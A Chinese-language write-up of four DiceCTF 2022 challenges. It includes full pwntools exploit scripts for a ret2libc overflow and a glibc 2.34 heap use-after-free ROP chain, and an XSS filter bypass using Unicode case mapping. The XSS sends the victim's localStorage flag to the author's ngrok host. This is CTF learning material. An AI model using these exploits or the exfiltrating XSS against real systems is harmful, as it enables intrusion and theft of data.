2022 DiceCTF Writeups
yet another CTF writeups ;)
Intro
這次跟LC0Y一起參加DiceCTF,這次我解了2題web和2題pwn,雖然我解的都不是很難的題目,但學到了不少,所以還是例行公事紀錄一下解題過程
interview-opportunity (pwn)
Overview
C的Pseudocode:
int main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
const char **v5; // [rsp+10h] [rbp-10h]
int v6; // [rsp+1Ch] [rbp-4h]
v6 = argc;
v5 = argv;
env_setup(argc, argv, envp);
printf(
"Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
"petition against perfect blue.\n");
printf("So tell us. Why should you join DiceGang?\n");
read(0, buf, 0x46uLL);
puts("Hello: ");
puts(buf);
return 0;
}
可以看到題目會read 0x46個bytes到長度為10的buf裡,所以bof之後直接蓋rip來rop就可以了
Solution
基礎到不行的ret2libc,用puts got leak libc之後call system就結束了
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
exe = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], "b *main+101")
else:
r = remote("mc.ax", 31081)
return r
def main():
r = conn()
rdi = lambda x: p64(0x401313) + p64(x)
ret = lambda: p64(0x40101a)
payload1 = b'A' * 26 + p64(exe.bss() + 100) + rdi(exe.got['puts']) + p64(exe.plt['puts']) + p64(exe.symbols['main'])
assert len(payload1) <= 0x46
r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload1)
puts_addr = int.from_bytes(r.recvuntil(b'\nThank you', drop=True)[-6:], byteorder='little')
info(f'puts addr: 0x{puts_addr:x}')
libc.address = puts_addr - libc.symbols['puts']
assert libc.address % 0x1000 == 0
success(f'libc base: 0x{libc.address:x}')
success(f'system addr: 0x{libc.symbols["system"]:x}')
bin_sh_addr = next(libc.search(b"/bin/sh\0"))
success(f'/bin/sh addr: 0x{bin_sh_addr:x}')
payload = b'A' * 34 + rdi(bin_sh_addr) + ret() + p64(libc.symbols["system"])
r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload)
r.interactive()
if __name__ == "__main__":
main()
flag:
$ cat f*
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}
baby-rop (pwn)
Overview
從沒在比賽當下解過heap,這次算是邊打邊學
在解這題之前,有幾個事情要注意:
- 這題是full RELRO,沒辦法GOT hijack
- 雖然沒開PIE,但ASLR還是有的,所以stack base還是不固定
- 題目用的是glibc 2.34,所以
__free_hook
和__malloc_hook
都沒了,沒辦法利用他們 - 題目有用seccomp,
execve
用不了,所以要讀flag需要借助open
,read
,write
題目有給C的source code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "seccomp-bpf.h"
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
// method 1, use macro
printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);
// method 2, use gnu_get_libc_version
puts(gnu_get_libc_version());
// method 3, use confstr function
char version[30] = {0};
confstr(_CS_GNU_LIBC_VERSION, version, 30);
puts(version);
return 0;
}
#define NUM_STRINGS 10
typedef struct {
size_t length;
char * string;
} safe_string;
safe_string * data_storage[NUM_STRINGS];
void read_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
for(size_t j = 0; j < ptr->length; ++j) {
fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
}
fprintf(stdout, "\n");
fflush(stdout);
}
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
void write_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "enter your string: ");
fflush(stdout);
read(STDIN_FILENO, ptr->string, ptr->length);
}
void create_safe_string(int i) {
safe_string * ptr = malloc(sizeof(safe_string));
fprintf(stdout, "How long is your safe_string: ");
fflush(stdout);
scanf("%zu", &ptr->length);
ptr->string = malloc(ptr->length);
data_storage[i] = ptr;
write_safe_string(i);
}
// flag.txt
int main() {
get_libc();
activate_seccomp();
int idx;
int c;
while(1){
fprintf(stdout, "enter your command: ");
fflush(stdout);
while((c = getchar()) == '\n' || c == '\r');
if(c == EOF) { return 0; }
fprintf(stdout, "enter your index: ");
fflush(stdout);
scanf("%u", &idx);
if((idx < 0) || (idx >= NUM_STRINGS)) {
fprintf(stdout, "index out of range: %d\n", idx);
fflush(stdout);
continue;
}
switch(c) {
case 'C':
create_safe_string(idx);
break;
case 'F':
free_safe_string(idx);
break;
case 'R':
read_safe_string(idx);
break;
case 'W':
write_safe_string(idx);
break;
case 'E':
return 0;
}
}
}
很明顯可以看到free_safe_string
把ptr->string
和ptr
free完都沒有設成NULL
,有UAF
接下來的目標就是透過UAF來任意讀寫,最後ROP來get flag
Solution
這裡方法很多,官方解是:https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#pwnbaby-rop,差別在於任意讀寫其實在tcache上就能做到了,而我借助了fastbin和unsorted bin,以下主要介紹我比賽時使用的方法(但有點多此一舉一點)和我學到的東西:
首先透過create_safe_string
來malloc 7個0x10+0x10(0x20)和0x100+0x10(0x110)大小的chunk,再全部free掉,塞滿tcache
create_safe_string
一次會malloc 0x10+0x10(0x20)大小的chunk來存struct,再malloc 指定大小的chunk來存struct的string
再call create_safe_string
兩次,一次string的長度用0x100,一次0x200(這個長度不重要),再free掉一個safe_string
這時,由於0x20和0x110大小的tcache都滿了,0x20大小的chunk會進到fastbin,而0x110大小的chunk會進到unsorted bin
接下來,因為fastbin是single-linked list,在glibc 2.32之後受到Safe-Linking的保護,fd會是(pos»12)^ptr的值,
且因為沒有bk,某些user data還是會繼續躺在free chunk裡,也就是說,0x20大小的chunk在free完之後只有struct的length被fd蓋掉,string pointer還在!
如下結果可以看到,struct的length從0x100變成(0x1d49f10»12)^0=0x1d49,但string的pointer還是能用且指向另一塊chunk(unsorted bin):
pwndbg> fastbins
fastbins
0x20: 0x1d49f00 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg> x/4gx 0x1d49f00
0x1d49f00: 0x0000000000000000 0x0000000000000021
0x1d49f10: 0x0000000000001d49 0x0000000001d49f30
pwndbg> x/4gx 0x0000000001d49f30
0x1d49f30: 0x00007f9668c2acc0 0x00007f9668c2acc0
0x1d49f40: 0x4141414141414141 0x4141414141414141
接下來只需要利用read_safe_string
來讀取unsorted bin的fd(main_arena+96),就能leak出libc了
又因為fd的值很大,所以還可以讀寫到另一塊chunk中的string pointer!
如下結果可以看到,0x1d4a060就是另一塊0x20的chunk中的string pointer,只需用write_safe_string
來替換掉他,就能達到任意讀寫的效果!
pwndbg> x/40gx 0x0000000001d49f30
0x1d49f30: 0x00007f9668c2acc0 0x00007f9668c2acc0
0x1d49f40: 0x4141414141414141 0x4141414141414141
0x1d49f50: 0x4141414141414141 0x4141414141414141
0x1d49f60: 0x4141414141414141 0x4141414141414141
0x1d49f70: 0x4141414141414141 0x4141414141414141
0x1d49f80: 0x4141414141414141 0x4141414141414141
0x1d49f90: 0x4141414141414141 0x4141414141414141
0x1d49fa0: 0x4141414141414141 0x4141414141414141
0x1d49fb0: 0x4141414141414141 0x4141414141414141
0x1d49fc0: 0x4141414141414141 0x4141414141414141
0x1d49fd0: 0x4141414141414141 0x4141414141414141
0x1d49fe0: 0x4141414141414141 0x4141414141414141
0x1d49ff0: 0x4141414141414141 0x4141414141414141
0x1d4a000: 0x4141414141414141 0x4141414141414141
0x1d4a010: 0x4141414141414141 0x4141414141414141
0x1d4a020: 0x4141414141414141 0x4141414141414141
0x1d4a030: 0x0000000000000110 0x0000000000000020
0x1d4a040: 0x0000000000000200 0x0000000001d4a060
0x1d4a050: 0x0000000000000000 0x0000000000000211
0x1d4a060: 0x4242424242424242 0x0000000000000000
接下來再用libc的environ來leak stack base,也就能leak出main的saved rip位置了
最後只需要把rip蓋成orw的ROP chain,就能順利拿flag
summary:
- malloc 0x20, 0x110 chunks * 7 (
data_storage[0:7]
) - malloc 0x20, 0x110 chunks, malloc 0x20, 0x200 chunks (
data_storage[7]
,data_storage[8]
) - free
data_storage[0:7]
- free
data_storage[7]
- uaf, leak libc via unsorted bin fd
- overwrite
data_storage[8]->string
tolibc.symbols['environ']
- read
data_storage[8]->string
-> leak stack base - overwrite
data_storage[8]->string
to .bss + 0x100 - write flag’s filename into
data_storage[8]->string
- overwrite
data_storage[8]->string
to stack base - 320 - write flag’s filename into
data_storage[8]->string
- return to ROP chain -> get flag
solve.py:
#!/usr/bin/env python3
from pwn import *
import sys
import types
from typing import Union
exe = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]
def conn():
if "d" in sys.argv[1:]:
context.log_level = "debug"
if len(sys.argv) > 1 and "l" == sys.argv[1]:
r = process([exe.path])
elif len(sys.argv) > 1 and "g" in sys.argv[1]:
r = gdb.debug([exe.path], '''
b *main+361
# b *free_safe_string+50
b *main+367
''')
else:
r = remote("mc.ax", 31245)
return r
def read(self: Union[process, remote], idx):
self.sendlineafter(b'enter your command: ', b'R')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.recvuntil(b" hex-encoded bytes\n")
return [int(x, 16) for x in self.recvuntil(b"\n").strip().split()]
def write(self: Union[process, remote], idx, content: bytes):
self.sendlineafter(b'enter your command: ', b'W')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.sendafter(b"enter your string: ", content)
def malloc(self: Union[process, remote], idx, size_t, content: bytes):
assert len(content) <= size_t
info(f'malloc: {idx}')
self.sendlineafter(b'enter your command: ', b'C')
self.sendlineafter(b"enter your index: ", str(idx).encode())
self.sendlineafter(b"How long is your safe_string: ", str(size_t).encode())
self.sendafter(b"enter your string: ", content)
def free(self: Union[process, remote], idx):
info(f'free: {idx}')
self.sendlineafter(b'enter your command: ', b'F')
self.sendlineafter(b"enter your index: ", str(idx).encode())
def main():
r = conn()
r.malloc = types.MethodType(malloc, r)
r.free = types.MethodType(free, r)
r.write = types.MethodType(write, r)
r.read = types.MethodType(read, r)
info("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.")
for i in range(7):
r.malloc(i, 0x100, bytes([0x41 + i]) * 4)
info("Allocating the chunk for unsorted bin (A)")
r.malloc(7, 0x100, b"A" * 0x100)
info("Allocating a chunk for arbitrary read/write (B)")
r.malloc(8, 0x200, b"BBBBBBBB")
info("Fill up tcache list")
for i in range(7):
r.free(i)
info("Free chunk A so it will be added to unsorted bin")
r.free(7)
info("UAF")
leaked = bytes(r.read(7))
string_addr = int.from_bytes(leaked[280:284], byteorder='little') # chunk B
success(f'data_storage[8]->string: 0x{string_addr:x}')
unsorted_bin_fd = int.from_bytes(leaked[:6], byteorder='little')
success(f'unsorted bin fd: 0x{unsorted_bin_fd:x}')
'''
pwndbg> disass malloc_trim
...
0x000000000009c080 <+32>: lea rax,[rip+0x158bd9] # 0x1f4c60
'''
main_arena_offset = 0x1f4c60
libc.address = unsorted_bin_fd - main_arena_offset - 96 # fd -> main_arena+96
success(f'libc base: 0x{libc.address:x}')
success(f'libc environ: 0x{libc.symbols["environ"]:x}')
success(f'open addr: 0x{libc.symbols["open"]:x}')
success(f'read addr: 0x{libc.symbols["read"]:x}')
success(f'puts addr: 0x{libc.symbols["puts"]:x}')
success(f'exit addr: 0x{libc.symbols["exit"]:x}')
info("leak stack base")
r.write(7, leaked[:280] + p64(libc.symbols["environ"]))
stack_base = int.from_bytes(bytes(r.read(8))[:6], byteorder='little')
success(f'stack base: 0x{stack_base:x}')
saved_rip_addr = stack_base - 320 # know this by gdb
success(f'saved rip addr: 0x{saved_rip_addr:x}')
r.write(7, leaked[:280] + p64(saved_rip_addr))
saved_rip = int.from_bytes(r.read(8)[:8], byteorder='little')
assert saved_rip == libc.address + 0x02d1ca # know this by gdb
success(f'saved rip: 0x{saved_rip}')
info("Write `flag.txt` to .bss + 0x100")
flag_str_addr = exe.bss(0x100)
r.write(7, leaked[:280] + p64(flag_str_addr))
r.write(8, b'./flag.txt\0\0')
info(f"flag.txt str addr: 0x{flag_str_addr:x}")
info("Write ROP chain to main's saved rip")
r.write(7, leaked[:280] + p64(saved_rip_addr))
rdi = lambda x: p64(0x2d7dd + libc.address) + p64(x)
rsi = lambda x: p64(0x2eef9 + libc.address) + p64(x)
rdx = lambda x: p64(0xd9c2d + libc.address) + p64(x)
flag_addr = exe.bss(0x200)
payload = rdi(flag_str_addr) + rsi(0) + rdx(0) + p64(libc.symbols["open"])
payload += rdi(3) + rsi(flag_addr) + rdx(0x100) + p64(libc.symbols["read"])
payload += rdi(flag_addr) + p64(libc.symbols["puts"])
payload += rdi(0) + p64(libc.symbols["exit"])
r.write(8, payload)
info("return main to ROP")
r.sendlineafter(b'enter your command: ', b'E')
r.sendlineafter(b"enter your index: ", b'0')
flag = r.recvuntil(b'}').decode()
success(f"flag: {flag}") # [+] flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
# r.interactive()
if __name__ == "__main__":
main()
flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
小插曲是我的exploit一開始在local能動,但remote會炸掉,所以多花了很多時間debug
後來加了一段exit(0)
到ROP chain上,remote就順利吐flag了
但我不太清楚原因,如果知道的人還請告訴我!
knock-knock (web)
Overview
來亂的題目…
題目source code的核心在於:
class Database {
constructor() {
this.notes = [];
this.secret = `secret-${crypto.randomUUID}`;
}
createNote({ data }) {
const id = this.notes.length;
this.notes.push(data);
return {
id,
token: this.generateToken(id),
};
}
getNote({ id, token }) {
if (token !== this.generateToken(id)) return { error: 'invalid token' };
if (id >= this.notes.length) return { error: 'note not found' };
return { data: this.notes[id] };
}
generateToken(id) {
return crypto
.createHmac('sha256', this.secret)
.update(id.toString())
.digest('hex');
}
}
Solution
一開始看了很久看不出洞在哪,但在local跑起來後就發現問題點了
從題目給的source code可以看到:
this.secret = `secret-${crypto.randomUUID}`;
crypto.randomUUID
沒有執行,竟然是直接把function的string當secret…
所以secret不變,token的值自然就算的出來了
curl 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}
blazingfast (web)
Overview
題目頁面的js:
let blazingfast = null;
function mock(str) {
blazingfast.init(str.length);
if (str.length >= 1000) return 'Too long!';
for (let c of str.toUpperCase()) {
if (c.charCodeAt(0) > 128) return 'Nice try.';
blazingfast.write(c.charCodeAt(0));
}
if (blazingfast.mock() == 1) {
return 'No XSS for you!';
} else {
let mocking = '', buf = blazingfast.read();
while(buf != 0) {
mocking += String.fromCharCode(buf);
buf = blazingfast.read();
}
return mocking;
}
}
function demo(str) {
document.getElementById('result').innerHTML = mock(str);
}
WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {
blazingfast = instance.exports;
document.getElementById('demo-submit').onclick = () => {
demo(document.getElementById('demo').value);
}
let query = new URLSearchParams(window.location.search).get('demo');
if (query) {
document.getElementById('demo').value = query;
demo(query);
}
})
題目給的blazingfast.wasm
的c source code:
int length, ptr = 0;
char buf[1000];
void init(int size) {
length = size;
ptr = 0;
}
char read() {
return buf[ptr++];
}
void write(char c) {
buf[ptr++] = c;
}
int mock() {
for (int i = 0; i < length; i ++) {
if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
buf[i] += 32;
}
if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
return 1;
}
}
ptr = 0;
return 0;
}
從上面的code可以知道,我們輸入的query會透過wasm過濾掉<>&"
,然後偶數index的位置會轉成大寫
一開始我的想法是:如果在query輸入padding<xsspayload>
,雖然一開始會被偵測到,但如果再次輸入小於padding長度的字元,並再觸發onclick來再次執行mock
的話,由於buf中的資料不會被清0,且mock
對buf的檢查在padding前就結束了,所以padding後的字元就能繞過檢測!
又因為讀取資料的方式是while(buf != 0)
,所以xss payload還是會跟著出來,也就能順利xss了!
但很可惜,這是個self xss
於是我就在想,還有什麼辦法可以讓字串的長度發生變化呢?
Solution
之前不知道在哪裡看過,某些unicode的字元在經過大小寫轉換時,會normalize成ASCII,甚至變長
稍微fuzz了一下,確有其事,以下是我fuzz的結果:
fuzz toUpperCase:
let result = "";
for(let i = 0x00; i <= 0x10FFFF; ++i){
if(i <= "z".codePointAt() && i >= "a".codePointAt()) continue;
if(i <= "Z".codePointAt() && i >= "A".codePointAt()) continue;
let f = String.fromCodePoint(i);
if(f.toUpperCase().codePointAt() <= "Z".codePointAt() && f.toUpperCase().codePointAt() >= "A".codePointAt()){
result += `| ${i} | ${f} | ${f.toUpperCase()} | ${f.toUpperCase().length} |\n`;
}
}
console.log(result);
result:
code | orig | toUpper | new length |
---|---|---|---|
223 | ß | SS | 2 |
305 | ı | I | 1 |
383 | ſ | S | 1 |
496 | ǰ | J̌ | 2 |
7830 | ẖ | H̱ | 2 |
7831 | ẗ | T̈ | 2 |
7832 | ẘ | W̊ | 2 |
7833 | ẙ | Y̊ | 2 |
7834 | ẚ | Aʾ | 2 |
64256 | ff | FF | 2 |
64257 | fi | FI | 2 |
64258 | fl | FL | 2 |
64259 | ffi | FFI | 3 |
64260 | ffl | FFL | 3 |
64261 | ſt | ST | 2 |
64262 | st | ST | 2 |
Note: toLower的部分我也fuzz了一下,結果如下:
code orig toLower new length 304 İ i̇ 2 8490 K k 1
所以,假如一開始執行blazingfast.init(str.length);
時,str.length
比較短,但str.toUpperCase().length
變長,就會導致讀超過str.length
的字元進buf,所以在最後for (int i = 0; i < length; i ++)
檢查是否有被ban掉的字的時候,就能繞過檢測!
e.g. "fflfflffl hihi".length
= 8, but "fflfflffl hihi".toUpperCase().length
= 14 => index 8之後的字元都不會被檢查到!
於是剩下就簡單了,只需要利用會變長的字元做padding,即可bypass掉檢查
但需要注意的是,讀進buf中的字元全部都是大寫,所以要xss的payload不一定能直接放進去,例如<svg/onload=alert(1337)>
就會因為alert
變成ALERT
導致執行失敗
比賽當下我的直覺是利用tag和uri的netloc對大小寫不敏感的特性,用script tag直接引入我的script來xss,不過賽後才發現只需要要onload的payload做HTMLencode就行了
以下是我比賽時產生payload的script:
exploit.html:
<body></body>
<script>
const base = 'https://blazingfast.mc.ax/?demo=';
const host = 'https://c3f8-111-248-84-17.ngrok.io';
let xss = `<iframe/srcdoc="<\x53cript src=${host}></\x53cript>">`;
let payload = "ffl".repeat(Math.ceil(xss.length / 2)) + xss
let url = base + encodeURIComponent(payload)
console.log(url); // 把結果丟給admin bot
window.open(url);
</script>
app.py (放彈flag和收flag的script):
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def home():
return '''
top.location = `https://c3f8-111-248-84-17.ngrok.io/f?${encodeURIComponent(top.localStorage.flag)}`
'''.strip()
@app.route("/f")
def f():
print(request.args) # ImmutableMultiDict([('dice{1_dont_know_how_to_write_wasm_pwn_s0rry}', '')])
return 'hi'
if __name__ == '__main__':
app.run("127.0.0.1", port=1337)
flag: dice{1_dont_know_how_to_write_wasm_pwn_s0rry}
Summary
DiceCTF我其實去年也有參加,題目還是一如既往的優質(依然被題目電爆)!
這次從解題過程和別人的writeups裡學到了很多js的神奇知識,也學到不少heap的知識,受益良多!